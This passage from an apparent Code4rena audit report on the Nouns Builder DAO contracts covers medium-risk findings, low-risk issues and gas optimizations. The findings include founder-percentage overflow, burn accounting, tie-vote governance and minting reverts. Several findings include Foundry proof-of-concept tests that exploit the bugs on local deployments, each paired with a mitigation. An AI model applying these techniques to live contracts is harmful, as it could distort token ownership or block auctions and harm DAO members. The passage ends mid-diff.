import { TokenTypesV1 } from "../src/token/types/TokenTypesV1.sol";
import { ERC1967Proxy } from "../src/lib/proxy/ERC1967Proxy.sol";
contract FounderGettingAllBaseTokensBug is Test, TokenTypesV1 {
Token imp;
address proxy;
function setUp() public virtual {
// Deploying the implementation and the proxy
imp = new Token(address(this));
proxy = address(new ERC1967Proxy(address(imp), ""));
}
function testFounderGettingAllBaseTokensBug() public {
IToken token = IToken(proxy);
address chadFounder = address(0xdeadbeef);
address betaFounder = address(0xBBBBBBBB); // beta
// Creating 2 founders with `ownershipPct = 256`
IManager.FounderParams[] memory founders = new IManager.FounderParams[](2);
founders[0] = IManager.FounderParams({
wallet: chadFounder,
ownershipPct: 256,
vestExpiry: 1 weeks
});
founders[1] = IManager.FounderParams({
wallet: betaFounder,
ownershipPct: 256,
vestExpiry: 1 weeks
});
// Initializing the proxy with the founders data
token.initialize(
founders,
// we don't care about these
abi.encode("", "", "", "", ""),
address(0),
address(0)
);
// Asserting that the chad founder got all the base token ids
// (`tokenId % 100` is calculated to get the base token, so it is enough to check only the first 100 token ids)
for (uint i; i < 100; ++i) {
assertEq(token.getScheduledRecipient(i).wallet == chadFounder, true);
}
// Run with `forge test --match-test testFounderGettingAllBaseTokensBug`
// Results:
// [PASS] testFounderGettingAllBaseTokensBug() (gas: 13537465)
// Great success
}
Tools Used
Manual audit & foundry for the PoC
Recommended Mitigation Steps
Don’t truncate the founderPct
variable to a uint8 when adding it to the totalOwnership variable, or alternatively check that it is less than type(uint8).max
(or less or equal to 100).
After applying this fix and running the test again, the result is:
[FAIL. Reason: INVALID_FOUNDER_OWNERSHIP()] testFounderGettingAllBaseTokensBug() (gas: 58674)
Alex the Entreprenerd (judge) commented:
While this creates other issues (infinite loop), I will judge it separately as if the infinite loop was fixed, founders would be getting above 100% allocation.
kulkarohan (Nouns Builder) confirmed
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The Warden has shown how, due to a unsafe casting, and mixed usage of variables, what is supposed to be a percentage of tokens receiveable by founders can reach a number above 100%.
Beside an infinite loop, this can be used to sneakily set all future tokens, to have
tokenRecipient[_tokenId].wallet
set to a founder.I believe that a High Severity is not out of place for what is a unchecked overflow that can be abused, however, the specific attack vector that would trigger this can only be triggered at initial setup.
Only the deployers can set founders and their percentages to be above 100%, and this can only happen at deployment.
For that reason, I think Medium Severity is more appropriate.
I invite all users to verify that the sum of all
founderPct
is way below 100% and I believe mitigation consists of either performing the safe cast, or changing the code to revert if allocation is above a more realistic value
kulkarohan (Nouns Builder) disagreed with severity and commented:
Per the following line, any founder that’s specified with a percentage ownership that results in the total ownership exceeding 100 will cause the function to revert: Token.sol#L88.
Therefore the function would never actually reach
uint256 schedule = 100 / founderPct;
if the provided PoC were the case.There is however a small mistake in casting
uint8(founderPct)
, which is completely unnecessary on our part. But I believe this is a low/QA issue at best.
[M-22] Owners receive more percentage of total nft if some nfts were burned(because were not sold)
Submitted by rvierdiiev
According to Nouns Builder, founder can have percentage of created nft. This is set in Token::_addFounders
function.
When new nft is minted by mint
function then total supply of tokens is incremented and assigned to tokenId using tokenId = settings.totalSupply++
. Then this token is checked if it should be mint to founder(then again increment total supply of tokens) or should be mint to auction using while (_isForFounder(tokenId))
.
If token wasn’t sold during the auction then auction burns it using burn
function. And this function doesn’t decrement settings.totalSupply
value. But total supply has changed now, it has decreased by one.
So suppose that we have 1 founder of dao that should receive 2% of nft, that means that if 100 nft are available(for example), then 2 of them belongs to that founder. If we have minted 100 nft and 10 of them were not sold(they were then burned), then there are 90 nft available now. And in current implementation founder has ownership of 2 of them, however 2 is not 2% of 90. So in case when nft are not sold on auction the percentage of founder’s tokens is increasing and the increasing speed depends on how many tokens were not sold. Also founder gets more power in the community(as he has more percentage now).
Proof of Concept
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L71-L126
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L154
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L207-L213
Recommended Mitigation Steps
When burn
function is called then do settings.totalSupply--
.
kulkarohan (Nouns Builder) confirmed
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
In contrast to #423, this report is arguing the fairness of token distribution when a token is burned.
I think that, because they are relating to a different aspect, this report is unique, however, because the impact and mechanism is based on burn not changing totalSupply, and “accounting being incorrect” because of that, then I believe this is also a Medium Severity finding.
[M-23] Changing treasury owner through transferOwnership()
can break Governer.sol
and Auction.sol
Submitted by scaraven
Governor.sol#L21
Ownable.sol#L63
Auction.sol#L22
governor.transferOwnership()
and Auction.transferOwnership()
is exposed to Treasury.sol
and can be called in a governance proposal. If this is used then it causes an inconsistency between the owner of these contracts and settings.treasury
which would prevent governance from ever modifying its own parameters and Ethereum from auctions will be sent to the wrong address.
I believe medium severity is suitable because we lose partial control of governance and/or ETH from auctions, assuming that a proposal (malicious or not) is passed which changes contract ownership.
Proof of Concept
- A proposal which calls
governor.transferOwnership()
is executed and transfers ownership to a new treasury address - When subsequent proposals are passed,
Governor.sol
will make an external call tosettings.treasury
which is not modified when ownership is passed - Therefore,
settings.treasury
is not able to modify any governance parameters such asproposalThreshold
The same issue applies to Auction.sol
.
Tools Used
VS Code
Recommended Mitigation Steps
Modify transferOwnership()
in the relevant contracts so that if ownership is transferred, then settings.treasury
is changed accordingly.
kulkarohan (Nouns Builder) acknowledged
Alex the Entreprenerd (judge) commented:
The Warden has shown how, due to the possibility of decoupling Treasury and Governor via Upgradeable.transferOwnership Auction.treasury may be set to the wrong address.
Personally I think that the decoupling between Auction, Governor and Treasury should be removed as ultimately this system is meant to be “immutable” and a migration could be achieved via a full redeploy and then a proposal to transfer funds.
However, the situation described by the Warden can happen and in those cases funds would be lost or sent to the wrong contract.
Because a timelock needs to vote this, I’m inclined to reduce severity.
However, because the contract functionality allows Ownership Transfer by default, but there’s no custom code to update the settings, I think Medium Severity is appropriate as in certain cases the contract will not behave as intended.
[M-24] Token: Founder percentages not always respected
Submitted by Lambda, also found by arcoun
Because of the “greedy” minting scheme for founders (tokens to founders are minted until _isForFounder
returns false
, i.e. until there is an unset tokenRecipient[tokenId % 100]
), it can happen that the actual percentages of tokens that the founders receive deviate significantly from the desired percentages:
Proof Of Concept
Imagine we are in a situation where one founder has a 51% share and the other a 48% share. Because schedule
is set to 1 for the first founder, tokenRecipient[0] ... tokenRecipient[50]
will be set to his address. tokenRecipient[51], tokenRecipient[53], ...
is set to the address of the second founder. Now let’s say a mint happens just before the vestExpiry
and when tokenId % 100 == 0
. In such a situation, founder 1 will get 51 tokens (because of the consecutive entries in tokenRecipients
) and founder 2 will get 1 token (because of the entry in tokenRecipient[51]
, which is also consecutive. Let’s say that the next mint happens after the vest expiration, which means that no founders get additional tokens.
In such a situation, founder 1 got 51 of the “last 100” token IDs, whereas founder 2 only got 1. Therefore, the overall percentage of tokens that those founders got will not be 51% and 40%. When the vest expiration was set to a time far in the future, it will be close to it, but when the vest timespan was only short, it can be very bad. In the extreme case where the expiration is set such that only 1 mint call causes mints for founders, founder 1 will have 51 tokens and founder 2 only 1, meaning the percentages are 51% / 1% instead of 51% / 48%!
Recommended Mitigation Steps
Consider using another distribution scheme. Instead of the current “greedy” scheme (minting until a slot is free), it would make sense to mint the tokens for the founders every 100 tokens, i.e. everytime when tokenId % 100 == 0
. Like that, it is ensured that the actual percentages are equal to the desired percentages.
kulkarohan (Nouns Builder) confirmed
Alex the Entreprenerd (judge) commented:
The warden has shown a specific combination of
founderPct
that will unfairly reward one founder at the detriment of another.Personally I’d recommend simming a set of schedules, perhaps via Fuzzing (which would have also enriched this submission), to find a solution that solves most use cases.
Because the submission shows a way to lose tokens, in a way that is reliant on configuration, I agree with Medium Severity.
[M-25] MetadataRenderer contract raise error when minting
Submitted by Migue
It is not possible to mint a ERC721 token if its properties has different length than its items.
Proof of Concept
I run the following test to reproduce the error:
deployMock();
vm.prank(address(governor));
string[] memory _names = new string[](1);
_names[0] = "propertyName"; //fill _names with some value
MetadataRendererTypesV1.ItemParam[] memory _items; //define empty array
MetadataRendererTypesV1.IPFSGroup memory _ipfsGroup;
_ipfsGroup.baseUri = "";
_ipfsGroup.extension = "";
MetadataRenderer(token.metadataRenderer()).addProperties(_names, _items, _ipfsGroup); //call add property with _items array empty.
vm.stopPrank();
vm.prank(address(auction));
uint256 success = token.mint();//error happens inside here
assert(success != 0);
vm.stopPrank();
Log from Foundry console:
├─ [736] TOKEN::metadataRenderer() [staticcall]
│ ├─ [353] Token::metadataRenderer() [delegatecall]
│ │ └─ ← METADATA_RENDERER: [0x7076fd06ec2d09d4679d9c35a8db81ace7a07ee2]
│ └─ ← METADATA_RENDERER: [0x7076fd06ec2d09d4679d9c35a8db81ace7a07ee2]
├─ [78618] METADATA_RENDERER::addProperties(["propertyName"], [], ("", ""))
│ ├─ [78172] MetadataRenderer::addProperties(["propertyName"], [], ("", "")) [delegatecall]
│ │ ├─ emit OwnerUpdated(prevOwner: FOUNDER: [0xd3562fd10840f6ba56112927f7996b7c16edfcc1], newOwner: TREASURY: [0xf8cf955543f1ce957b81c1786be64d5fc96ad7b5])
│ │ ├─ emit PropertyAdded(id: 0, name: "propertyName")
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::prank(AUCTION: [0x9a1450e42d752b8731bc88f20dbaa9154642f1e6])
│ └─ ← ()
├─ [121037] TOKEN::mint()
│ ├─ [120650] Token::mint() [delegatecall]
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: FOUNDER: [0xd3562fd10840f6ba56112927f7996b7c16edfcc1], tokenId: 0)
│ │ ├─ emit DelegateVotesChanged(delegate: FOUNDER: [0xd3562fd10840f6ba56112927f7996b7c16edfcc1], prevTotalVotes: 0, newTotalVotes: 1)
│ │ ├─ [25762] METADATA_RENDERER::onMinted(0)
│ │ │ ├─ [25372] MetadataRenderer::onMinted(0) [delegatecall]
│ │ │ │ └─ ← "Division or modulo by 0"
│ │ │ └─ ← "Division or modulo by 0"
│ │ └─ ← "Division or modulo by 0"
│ └─ ← "Division or modulo by 0"
└─ ← "Division or modulo by 0"
Tools Used
Foundry
Manual
Recommended Mitigation Steps
It could be mitigated checking length of both arrays in MetadataRenderer.addProperties() method.
It could be done after those lines: MetadataRenderer.sol#L111-L115.
Also I recommend to move those declaration and new validation at the beginning to save gas.
iainnash (Nouns Builder) confirmed
Alex the Entreprenerd (judge) commented:
In contrast to other reports, here the Warden has shown how to get a revert by having a mismatching length between properties and items.
While a mitigating aspect for the finding is the fact that Governance will set these values, and most of the times these values will be set at deployment time. The warden has shown how the code could revert in a way that we can consider unintended.
The impact of the finding is that a new proposal would need to be raised to fix the mismatching length, until then no auctions could run.
Because of the specificity of the report, the actual DOS outcome and the reliance on “misinput”, I believe that the finding is of Medium Severity.
[M-26] Minting is not possible when a property has no items
Submitted by Jeiwan
If a property without items was added, minting becomes impossible. To enable minting again, an item must be added to the property, which is only possible through a new governance proposal.
Proof of Concept
Consider the following test case:
function testRevert_MintingWithPropertyWithoutItems() public {
// Deploying a token and a metadata renderer
address tknImpl = address(new Token(address(this)));
Token tkn = Token(address(new ERC1967Proxy(tknImpl, "")));
address rndrImpl = address(new MetadataRenderer(address(this)));
MetadataRenderer rndr = MetadataRenderer(address(new ERC1967Proxy(rndrImpl, "")));
bytes memory initString = abi.encode("Test", "Test", "Test", "Test", "Test");
IManager.FounderParams[] memory founders = new IManager.FounderParams[](1);
founders[0] = IManager.FounderParams({ wallet: address(this), ownershipPct: 1, vestExpiry: 4 weeks });
tkn.initialize(founders, initString, address(rndr), address(this));
rndr.initialize(initString, address(tkn), address(this), address(this));
// Exploit starts here:
// Creating a property without items and adding it to the token.
string[] memory names = new string[](1);
MetadataRendererTypesV1.ItemParam[] memory items = new MetadataRendererTypesV1.ItemParam[](0);
MetadataRendererTypesV1.IPFSGroup memory ipfsGroup = MetadataRendererTypesV1.IPFSGroup({ baseUri: "base", extension: "ext" });
names[0] = "uh-oh";
// Founder forgot to add items.
rndr.addProperties(names, items, ipfsGroup);
assertEq(rndr.propertiesCount(), 1);
// Minting a token with a property without items and getting an error.
vm.expectRevert(stdError.divisionError);
tkn.mint();
// Adding an item to the property. At this point, this can only be done through a governance proposal.
names = new string[](0);
items = new MetadataRendererTypesV1.ItemParam[](1);
items[0] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "fixed", isNewProperty: false });
rndr.addProperties(names, items, ipfsGroup);
// Success.
tkn.mint();
assertEq(tkn.totalSupply(), 2);
}
Recommended Mitigation Steps
Short term, in the addProperties function, ensure that each newly added property has at least one item.
Long term, after adding properties and items in the addProperties function, ensure that next token can be minted and rendered without errors.
kulkarohan (Nouns Builder) acknowledged
Alex the Entreprenerd (judge) commented:
Consistently with #523, the Warden has shown how to cause
mint
to revert due to handling of properties and items, in this case by having a property without any.Because this finding shows a different way to cause a revert, I will file it separately.
Because it shows the same type of revert as #523, I’ll judge it in the same way as Medium Severity.
[M-27] Tokens without properties can be minted and cannot be rendered
Submitted by Jeiwan, also found by imare, ladboy233, and rvierdiiev
It’s possible to mint tokens when properties haven’t yet been set in MetadataRenderer
. Such tokens won’t be possible
to render due to this check
in the getAttributes
function of MetaRenderer
contract. There’s no way to fix such tokens after they were minted
since the number of properties of each token is stored individually, thus a patched MetadataRenderer
and a proxy contract need to be deployed.
Proof of Concept
Consider this test case:
function testRevert_MintedWithoutProperties() public {
// Deploying a token and a metadata renderer
address tknImpl = address(new Token(address(this)));
Token tkn = Token(address(new ERC1967Proxy(tknImpl, "")));
address rndrImpl = address(new MetadataRenderer(address(this)));
MetadataRenderer rndr = MetadataRenderer(address(new ERC1967Proxy(rndrImpl, "")));
bytes memory initString = abi.encode("Test", "Test", "Test", "Test", "Test");
IManager.FounderParams[] memory founders = new IManager.FounderParams[](1);
founders[0] = IManager.FounderParams({ wallet: address(this), ownershipPct: 1, vestExpiry: 4 weeks });
tkn.initialize(founders, initString, address(rndr), address(this));
rndr.initialize(initString, address(tkn), address(this), address(this));
// Exploit starts here:
// Properties haven't been added yet...
assertEq(rndr.propertiesCount(), 0);
// but minting is still possible.
tkn.mint();
assertEq(tkn.totalSupply(), 2); // 1 to the founder, 1 to the auction
// When trying to render a token without properties, there's a revert.
vm.expectRevert(abi.encodeWithSignature("TOKEN_NOT_MINTED(uint256)", 0));
rndr.getAttributes(0);
}
The call to getAttributes()
reverts because the token’s attributes were not set since properties hadn’t been
added to the metadata renderer.
Recommended Mitigation Steps
In the onMinted() function of MetadataRenderer
, ensure that properties.length
is greater than 0.
Alex the Entreprenerd (judge) commented:
I think a better solution is to have a default display or similar, but the finding is correct
iainnash (Nouns Builder) acknowledged and commented:
Duplicate of #459?
iainnash (Nouns Builder) commented:
Slightly different from the other ticket mentioned. Not sure if this is a medium risk bug or more of an inconvenience since the mint succeeds and the DAO can vote to upgrade the impl.
Alex the Entreprenerd (judge) commented:
In contrast to #459, which shows a way to achieve a revert, this report shows how to mint a token without any properties.
The question we are left to ask is whether a token without any property is a unique and “rarer” token, a mistake, a placeholder, or something else.
We could argue that the finding is informational in nature as the “lens” of the codebase, the MetadataRenderer is the only contract that will revert.
On the other hand, the lens will be reverting with a
TOKEN_NOT_MINTED
error.Meaning that we can argue that while the token exists, the token is in a state that is not well defined.
Because upgrades are not in-scope we can only argue with the finding and the code in scope at this time.
Because the contract will not revert in minting one or more people may end up purchasing a token that is “in limbo”.
While a bit of a stretch, given the irrefutable POC, showing that this can happen by “forgetting to set properties”, I think Medium Severity to be appropriate.
[M-28] State function does not require majority of votes for supporting and passing a proposal
Submitted by rbserver, also found by csanuragjain and Solimander
When determining the proposal’s state, the following state
function is called, which can execute else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; }
. If proposal.forVotes
and proposal.againstVotes
are the same, the proposal is not considered defeated when the quorum votes are reached by the for votes. However, many electoral systems require that the for votes to be more than the against votes in order to conclude that the proposal is passed because the majority of votes supports it. If the deployed DAO wants to require the majority of votes to support a proposal in order to pass it, the state
function would incorrectly conclude that the proposal is not defeated when the for votes and against votes are the same at the end of voting. As a result, critical proposals, such as for updating implementations or withdrawing funds from the treasury, that should not be passed can be passed, or vice versa, so the impact can be huge.
function state(bytes32 _proposalId) public view returns (ProposalState) {
// Get a copy of the proposal
Proposal memory proposal = proposals[_proposalId];
// Ensure the proposal exists
if (proposal.voteStart == 0) revert PROPOSAL_DOES_NOT_EXIST();
// If the proposal was executed:
if (proposal.executed) {
return ProposalState.Executed;
// Else if the proposal was canceled:
} else if (proposal.canceled) {
return ProposalState.Canceled;
// Else if the proposal was vetoed:
} else if (proposal.vetoed) {
return ProposalState.Vetoed;
// Else if voting has not started:
} else if (block.timestamp < proposal.voteStart) {
return ProposalState.Pending;
// Else if voting has not ended:
} else if (block.timestamp < proposal.voteEnd) {
return ProposalState.Active;
// Else if the proposal failed (outvoted OR didn't reach quorum):
} else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
return ProposalState.Defeated;
// Else if the proposal has not been queued:
} else if (settings.treasury.timestamp(_proposalId) == 0) {
return ProposalState.Succeeded;
// Else if the proposal can no longer be executed:
} else if (settings.treasury.isExpired(_proposalId)) {
return ProposalState.Expired;
// Else the proposal is queued
} else {
return ProposalState.Queued;
}
}
Proof of Concept
Please append the following test in test\Gov.t.sol
. This test will pass to demonstrate the described scenario.
function test_ProposalIsSucceededWhenNumberOfForAndAgainstVotesAreSame() public {
vm.prank(founder);
auction.unpause();
createVoters(7, 5 ether);
vm.prank(address(treasury));
governor.updateQuorumThresholdBps(2000);
bytes32 proposalId = createProposal();
vm.warp(block.timestamp + governor.votingDelay());
// number of for and against votes are both 2
castVotes(proposalId, 2, 2, 3);
vm.warp(block.timestamp + governor.votingPeriod());
// the proposal is considered succeeded when number of for and against votes are the same after voting ends
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Succeeded));
// the proposal can be queued afterwards
governor.queue(proposalId);
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Queued));
}
Tools Used
VSCode
Recommended Mitigation Steps
If there is no need to pass a proposal when proposal.forVotes
and proposal.againstVotes
are the same at the end of voting, then Governor.sol#L441-L442 can be changed to the following code.
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
return ProposalState.Defeated;
Otherwise, a governance configuration can be added to indicate whether the majority of votes is needed or not for supporting and passing a proposal. The state
function then could return ProposalState.Defeated
when proposal.forVotes <= proposal.againstVotes
if so and when proposal.forVotes < proposal.againstVotes
if not.
tbtstl (Nouns Builder) confirmed
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The warden has shown how, due to a flaw in order of operations and usage of the strict less than sign operator, a proposal with exactly 50% support can still pass as successful.
This can be dramatic as the definition of Majority is “The greater number”, which we would quantity as 50% + 1.
The finding is valid in that a situation can arise in which a proposal, with 50% detractors, would still pass, however, the specific operator
<
means that this can happen exclusively if the different is by one, meaning that of all possible “vote distributions”, we’d need a perfect 50/50.Because of that, while I believe the finding should be mitigated, I think the finding is of Medium Severity as it will happen only in a specific situation.
Low Risk and Non-Critical Issues
For this contest, 124 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by Lambda received the top score from the judge.
The following wardens also submitted reports: Deivitto, 0xSmartContract, Jeiwan, simon135, R2, rbserver, 0xNazgul, sorrynotsorry, CodingNameKiki, brgltd, ChristianKuri, hansfriese, 0x4non, c3phas, CertoraInc, cryptphi, zkhorse, 0x1337, scaraven, leosathya, __141345__, djxploit, indijanc, RaymondFam, B2, Chom, dipp, zzzitron, imare, izhuer, 0x1f8b, rvierdiiev, MiloTruck, robee, Rolezn, csanuragjain, datapunk, Tomo, Aymen0909, cccz, Respx, asutorufos, erictee, ne0n, tonisives, Waze, 8olidity, pcarranzav, pedr02b2, pfapostol, ladboy233, sikorico, Bnke0x0, ch0bu, jonatascm, m9800, oyc_109, PwnPatrol, 0x85102, ReyAdmirado, sahar, volky, ak1, d3e4, EthLedger, fatherOfBlocks, lukris02, PPrieditis, Samatak, azephiar, bulej93, Ch_301, cryptostellar5, eierina, ElKu, Jujic, lucacez, 0xA5DF, sach1r0, Tointer, bharg4v, bin2chen, Captainkay, cryptonue, Franfran, gogo, JansenC, neumo, peritoflores, hyh, davidbrai, 0xc0ffEE, slowmoses, yixxas, GimelSec, pauliax, tnevler, bobirichman, cloudjunky, Diana, Funen, 0xbepresent, ret2basic, V_B, a12jmx, delfin454000, DimitarDimitrov, MasterCookie, MEP, Noah3o6, p_crypt0, PaludoX0, pashov, _Adam, ballx, CRYP70, dharma09, dic0de, Lead_Belly, martin, minhtrng, Picodes, and Randyyy.
[01]
In Token
, when a founder has wallet
set to address(0)
, he will not receive any tokens (which is good), but he is still included in all of the calculations such as numFounders
or totalOwnership
, meaning that they will be wrong in such situations.
[02]
In Token
, totalFounderOwnership()
does not incorparate the vesting period. It is just the total percent ownership that the founders received at one point in time, but this metric is pretty useless without incorporating the timespan (as 100% for 1 week is very different to 10% for 10 years).
[03]
In MetadataRenderer._getItemImage
, a dot is missing between the item name and extension (MetadataRenderer.sol#L259).
[04]
MetadataRenderer.addProperties
seems to be very error-prone to me. When an item is added for a new property, isNewProperty
needs to be set and you need to keep in mind that the property ID refers to the ID of the newly added property, not the global ID that the property will get.
[05]
In Auction._handleOutgoingTransfer
, it is not checked if the WETH transfer succeeds (when WETH is used). The commonly used WETH implementation will revert on failure, but this is no requirement of EIP-20, so using another WETH implementation could lead to a problem there.
[06]
Treasury.isExpired
returns true for non-existing proposals, which could lead to wrong states for third-party applications that use this function. Consider reverting for non-existing proposals.
[07]
If the Governor
contract would ever contain ETH (e.g, after a selfdestruct
of some other contract), it could not be retrieved, as the execute
function can only forward the received ETH, but not use its own.
[08]
Even after a vetoer is burned, the owner can still update it. This can reduce the confidence in the system, as the owner always has complete veto control. Consider making the burning operation final.
[09]
Auction
can only be paused / unpaused after a vote with the corresponding delays. This can be too slow in certain scenarios (e.g., emergency response after a security incident). Consider introducing an optional emergency pause feature (e.g., by the founder).
[10]
It is still possible to bid when an Auction is paused. This can have negative consequences, for instance when the bidding process contains a security vulnerability and the system is temporarily paused for mitigation.
Alex the Entreprenerd (judge) commented:
In Token, when a founder has wallet set to address(0), he will not receive any tokens (which is good), but he is still included in all of the calculations such as numFounders or totalOwnership, meaning that they will be wrong in such situations.
LowIn Token, totalFounderOwnership()
RefactoringIn MetadataRenderer._getItemImage
Also don’t get it, code compilesMetadataRenderer.addProperties
RefactoringTreasury.isExpired
Non-criticalIf the Governor
LowEven after a vetoer is burned
Disagree as it has to be voted back inAuction can only be paused
RefactoringIt is still possible to bid when an Auction is paused
Disagree as it keeps it fair for people in the auction2L 3R
All in all a custom report + well done performance overall, fairly won, gratz!
Gas Optimizations
For this contest, 75 reports were submitted by wardens detailing gas optimizations. The report highlighted below by pfapostol received the top score from the judge.
The following wardens also submitted reports: Aymen0909, volky, 0xA5DF, Migue, _Adam, LeoS, 0xSmartContract, c3phas, SnowMan, gogo, __141345__, MiloTruck, Saintcode_, ReyAdmirado, JAGADESH, Rolezn, oyc_109, 0x1f8b, DimSon, CertoraInc, WatchDogs, rfa, TomJ, CodingNameKiki, RaymondFam, JC, Matin, martin, Waze, leosathya, Deivitto, brgltd, tofunmi, Tomo, R2, Jeiwan, ballx, Bnke0x0, Lambda, gianganhnguyen, bulej93, ch0bu, PPrieditis, Respx, simon135, ret2basic, wagmi, asutorufos, djxploit, pauliax, Tointer, prasantgupta52, lucacez, StevenL, dharma09, robee, durianSausage, Cr4ckM3, fatherOfBlocks, sikorico, Metatron, 0xkatana, Chandr, Samatak, imare, 0x4non, 0xc0ffEE, Franfran, PaludoX0, zishansami, 0x5rings, easy_peasy, peiw, and ajtra.
Summary
Gas savings are estimated using the gas report of existing forge test --gas-report
tests (the sum of all deployment costs and the sum of the costs of calling all methods) and may vary depending on the implementation of the fix. I keep my version of the fix for each finding and can provide them if you need them.
In this project, the optimizer is set on 500000 runs, so some of the common optimizations are useless or partially useless. Only cases that save gas with this configuration of optimizer are included in the report.
Issue | Instances | Estimated gas(deployments) | Estimated gas(method call) | |
---|---|---|---|---|
G‑01 | storage pointer to a structure is cheaper than copying each value of the structure into memory , same for array and mapping |
5 | 168 820 | 1 672 |
G‑02 | State variables can be packed into fewer storage slots | 1 | 99 511 | - |
G‑03 | State variables should be cached in stack variables rather than re-reading them from storage | 5 | 70 505 | 2 634 |
G‑04 | Using bools for storage incurs overhead | 5 | 60 668 | 1 191 |
G‑05 | Storage variable is used when local exists | 2 | 1 400 | 2 602 |
G‑06 | Use named returns where appropriate | 3 | 2 000 | 174 |
- | Overall Gas Saved | 21 | 341 027 | 10 231 |
Total: 21 instances over 6 issues
[G-01] storage
pointer to a structure is cheaper than copying each value of the structure into memory
, same for array
and mapping
(5 instances)
Deployment Gas Saved: 168 820
Method Call Gas Saved: 1 672
forge snapshot --diff
: 8 746 Gas Saved
It may not be obvious, but every time you copy a storage struct
/array
/mapping
to a memory
variable, you are copying each member by reading it from storage
, which is expensive. And when you use the storage
keyword, you are just storing a pointer to the storage, which is much cheaper.
Exception: case when you need to read all or many members multiple times. In report included only cases that saved gas
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
index 794da99..92854f6 100644
--- a/src/auction/Auction.sol
+++ b/src/auction/Auction.sol
@@ -89,7 +89,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
89, 89: /// @param _tokenId The ERC-721 token id
90, 90: function createBid(uint256 _tokenId) external payable nonReentrant {
91, 91: // Get a copy of the current auction
- 92 :- Auction memory _auction = auction;
+ 92:+ Auction storage _auction = auction;
93, 93:
94, 94: // Ensure the bid is for the current token
95, 95: if (_auction.tokenId != _tokenId) revert INVALID_TOKEN_ID();
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index 0d963c5..ca5600a 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -355,7 +355,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
355, 355: if (state(_proposalId) == ProposalState.Executed) revert PROPOSAL_ALREADY_EXECUTED();
356, 356:
357, 357: // Get a copy of the proposal
- 358 :- Proposal memory proposal = proposals[_proposalId];
+ 358:+ Proposal storage proposal = proposals[_proposalId];
359, 359:
360, 360: // Cannot realistically underflow and `getVotes` would revert
361, 361: unchecked {
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index ca5600a..67db726 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -505,7 +505,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
505, 505: uint256
506, 506: )
507, 507: {
- 508 :- Proposal memory proposal = proposals[_proposalId];
+ 508:+ Proposal storage proposal = proposals[_proposalId];
509, 509:
510, 510: return (proposal.againstVotes, proposal.forVotes, proposal.abstainVotes);
511, 511: }
diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol
index 3e64720..c5759cd 100644
--- a/src/lib/token/ERC721Votes.sol
+++ b/src/lib/token/ERC721Votes.sol
@@ -87,7 +87,7 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 {
87, 87: uint256 middle;
88, 88:
89, 89: // Used to temporarily hold a checkpoint
- 90 :- Checkpoint memory cp;
+ 90:+ Checkpoint storage cp;
91, 91:
92, 92: // While a valid checkpoint is to be found:
93, 93: while (high > low) {
diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
index 7a140ec..070da5f 100644
--- a/src/token/metadata/MetadataRenderer.sol
+++ b/src/token/metadata/MetadataRenderer.sol
@@ -231,7 +231,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
231, 231: bool isLast = i == lastProperty;
232, 232:
233, 233: // Get a copy of the property
- 234 :- Property memory property = properties[i];
+ 234:+ Property storage property = properties[i];
235, 235:
236, 236: // Get the token's generated attribute
237, 237: uint256 attribute = tokenAttributes[i + 1];
Controversial (Not included in estimation):
Saved in deploy: 25433, but lost 100-300 gas per user
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index ca5600a..b47413f 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -412,7 +412,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
412, 412: /// @param _proposalId The proposal id
413, 413: function state(bytes32 _proposalId) public view returns (ProposalState) {
414, 414: // Get a copy of the proposal
- 415 :- Proposal memory proposal = proposals[_proposalId];
+ 415:+ Proposal storage proposal = proposals[_proposalId];
416, 416:
417, 417: // Ensure the proposal exists
418, 418: if (proposal.voteStart == 0) revert PROPOSAL_DOES_NOT_EXIST();
[G-02] State variables can be packed into fewer storage slots (1 instances)
Deployment Gas Saved: 99 511
forge snapshot --diff
: 1 080 Gas Saved
Storage:
/*external inheritance:*/
address internal _owner; // 20
address internal _pendingOwner // 20
uint256 internal _status; // 32
uint8 internal _initialized; // 1
bool internal _initializing; // 1
bool internal _paused; // 1
/* self storage */
Settings internal settings;
/*
address treasury; // 20
uint40 duration; // 5
uint40 timeBuffer; // 5
uint8 minBidIncrement; // 1
uint256 reservePrice; // 32
*/
Token public token; // 20
Auction public auction;
/*
uint256 tokenId; // 32
uint256 highestBid; // 32
address highestBidder; // 20
uint40 startTime; // 5
uint40 endTime; // 5
bool settled; // 1
*/
Fix:
diff --git a/src/auction/types/AuctionTypesV1.sol b/src/auction/types/AuctionTypesV1.sol
